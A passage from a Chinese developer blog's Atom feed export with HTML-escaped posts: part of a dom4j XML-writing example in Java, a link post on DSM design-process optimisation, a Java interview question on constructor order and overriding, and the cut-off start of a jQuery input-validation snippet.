style="color:rgb(0,0,255);"&gt;static&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;boolean&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;writeFile&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;Document&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;document&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;fileName&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;31&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;try&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;32&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;33&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;if&lt;/span&gt;  (&lt;span style="color:rgb(0,0,0);"&gt;fileName&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;==&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;null&lt;/span&gt;  || &lt;span style="color:rgb(0,0,0);"&gt;fileName&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;trim&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;().&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;equals&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;&amp;quot;&lt;/span&gt;)) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;34&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;return&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;false&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;35&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;36&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;path&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;f:/&amp;quot;&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;+&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;fileName&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;37&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;38&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;OutputFormat&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;format&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;OutputFormat&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;createPrettyPrint&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;39&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;XMLWriter&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;output&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;new&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;XMLWriter&lt;/span&gt;(&lt;span style="color:rgb(0,0,255);"&gt;new&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;FileOutputStream&lt;/span&gt;(&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;40&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;new&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;File&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;path&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;)),&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;format&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;41&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;42&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;43&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;output&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;write&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;document&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;44&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;output&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;close&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;45&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;return&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;true&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;46&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;catch&lt;/span&gt;  (&lt;span style="color:rgb(0,0,0);"&gt;IOException&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;e&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;47&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;e&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;printStackTrace&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;48&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;49&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;return&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;false&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;50&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;51&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;52&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;static&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;void&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;printTest&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;content&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;53&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;System&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;out&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;println&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;content&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;54&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;55&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;56&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,128,0);"&gt;/**&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;57&lt;/span&gt; &lt;span style="color:rgb(0,128,0);"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; * @param args&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;58&lt;/span&gt; &lt;span style="color:rgb(0,128,0);"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160; */&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;59&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;static&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;void&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;main&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;[]&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;args&lt;/span&gt;) &lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;60&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;SoaToXML&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;execute&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;0&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;,&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;1&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;61&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;62&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;63&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;64&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5406905690937763918?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5406905690937763918/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/06/dom4jxml.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5406905690937763918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5406905690937763918'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/06/dom4jxml.html' title='用dom4j生成xml'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-5898430794459215481</id><published>2010-06-11T21:18:00.000+08:00</published><updated>2010-08-13T11:22:03.710+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gwt'/><title type='text'>基于DSM(DesignStructureMatrix)的设计过程模型优化算法</title><content type='html'>&lt;a target="_blank" href="http://dsmlabs.appspot.com/"&gt;基于DSM(DesignStructureMatrix)的设计过程模型优化算法&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-5898430794459215481?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/5898430794459215481/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/06/dsmdesignstructurematrix.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5898430794459215481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/5898430794459215481'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/06/dsmdesignstructurematrix.html' title='基于DSM(DesignStructureMatrix)的设计过程模型优化算法'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-6498819725412487224</id><published>2010-06-11T20:54:00.000+08:00</published><updated>2010-08-13T11:22:03.718+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='学习java'/><title type='text'>java面试题</title><content type='html'>&lt;div style="background-color:rgb(249,247,237);"&gt;&lt;br/&gt;&lt;div style="background:none repeat scroll 0 0 rgb(253,253,253);color:black;"&gt;&lt;u&gt;&lt;br/&gt;&lt;/u&gt;&lt;/div&gt;&lt;br/&gt;&lt;div class="source" style="background-color:rgb(249,247,237);"&gt;&lt;span style="color:rgb(0,128,0);"&gt;01&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;import&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;java.util.*&lt;/span&gt;;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;02&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;class&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;Test&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;03&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;static&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;void&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;main&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;String&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;[]&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;args&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;04&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;new&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;Child&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;().&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;m&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;05&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;06&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;07&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;class&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;Person&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;08&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;Person&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;(){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;09&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;System&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;out&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;println&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;Person&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;10&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;m&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;11&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;12&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;void&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;m&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;(){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;13&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;System&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;out&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;println&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;Person m&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;14&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;15&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;16&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;class&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;Child&lt;/span&gt; &lt;span style="color:rgb(0,0,255);"&gt;extends&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;Person&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;{&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;17&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;Child&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;(){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;18&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;System&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;out&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;println&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;Child&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;19&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;super&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;m&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;20&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;21&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,255);"&gt;public&lt;/span&gt; &lt;span style="color:rgb(43,145,175);"&gt;void&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;m&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;(){&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;22&lt;/span&gt;  &amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;System&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;out&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;println&lt;/span&gt;(&lt;span style="color:rgb(163,21,21);"&gt;&amp;quot;Child m&amp;quot;&lt;/span&gt;);&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;23&lt;/span&gt; &amp;#160;&amp;#160;&amp;#160; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;24&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;}&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;25&lt;/span&gt; &lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;26&lt;/span&gt;&amp;#160; 输出：&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;27&lt;/span&gt; &lt;span style="color:rgb(0,128,0);"&gt;//Person&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;28&lt;/span&gt; &lt;span style="color:rgb(0,128,0);"&gt;//Child m&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;29&lt;/span&gt; &lt;span style="color:rgb(0,128,0);"&gt;//Child&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(248,16,176);"&gt;30&lt;/span&gt; &lt;span style="color:rgb(0,128,0);"&gt;//Person m&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,128,0);"&gt;31&lt;/span&gt; &lt;span style="color:rgb(0,128,0);"&gt;//Child m&lt;/span&gt;&lt;br/&gt;&lt;br/&gt;知识点：构造方法调用顺序&lt;br/&gt;方法重载&lt;br/&gt;显式调用父类构造方法必须放在第一行&lt;/div&gt;&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7090138233354235749-6498819725412487224?l=liuspring.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://liuspring.blogspot.com/feeds/6498819725412487224/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://liuspring.blogspot.com/2010/06/java.html#comment-form' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6498819725412487224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7090138233354235749/posts/default/6498819725412487224'/><link rel='alternate' type='text/html' href='http://liuspring.blogspot.com/2010/06/java.html' title='java面试题'/><author><name>spring</name><uri>http://www.blogger.com/profile/05643745951876661529</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://2.bp.blogspot.com/_v1Lc1r1RLbA/Ses7aZ_Dv1I/AAAAAAAAAkU/ZudfNWKRZ0Q/S220/7f006c69757370696e673d00.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7090138233354235749.post-4273696146514701599</id><published>2010-06-10T22:49:00.000+08:00</published><updated>2010-08-13T11:22:03.728+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Js'/><title type='text'>jquery 验证所有text,textare非法字符</title><content type='html'>&lt;div style="background-color:rgb(249,247,237);"&gt;&lt;br/&gt;&lt;div style="background:none repeat scroll 0 0 rgb(253,253,253);color:black;"&gt;&lt;u&gt;&lt;br/&gt;&lt;/u&gt;&lt;/div&gt;&lt;br/&gt;&lt;div style="background-color:rgb(249,247,237);" class="source"&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;01 &lt;/span&gt; &lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;var&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;$j&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;=&lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;jQuery&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;.&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;noConflict&lt;/span&gt;();&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;02 &lt;/span&gt; &lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;//使用此方法验证所有text  textarea 是否含有非法字符&lt;/span&gt;&lt;br/&gt;&lt;span style="color:rgb(0,136,0);font-style:italic;"&gt;03 &lt;/span&gt; &lt;span style="color:rgb(0,0,0);"&gt;$j&lt;/span&gt;(&lt;span style="color:rgb(0,0,0);"&gt;document&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;).&lt;/span&gt;&lt;span style="color:rgb(0,0,0);"&gt;ready&lt;/span&gt;(&lt;span style="color:rgb(0,0,128);font-weight:bold;"&gt;function&lt;/span&gt;&lt;span 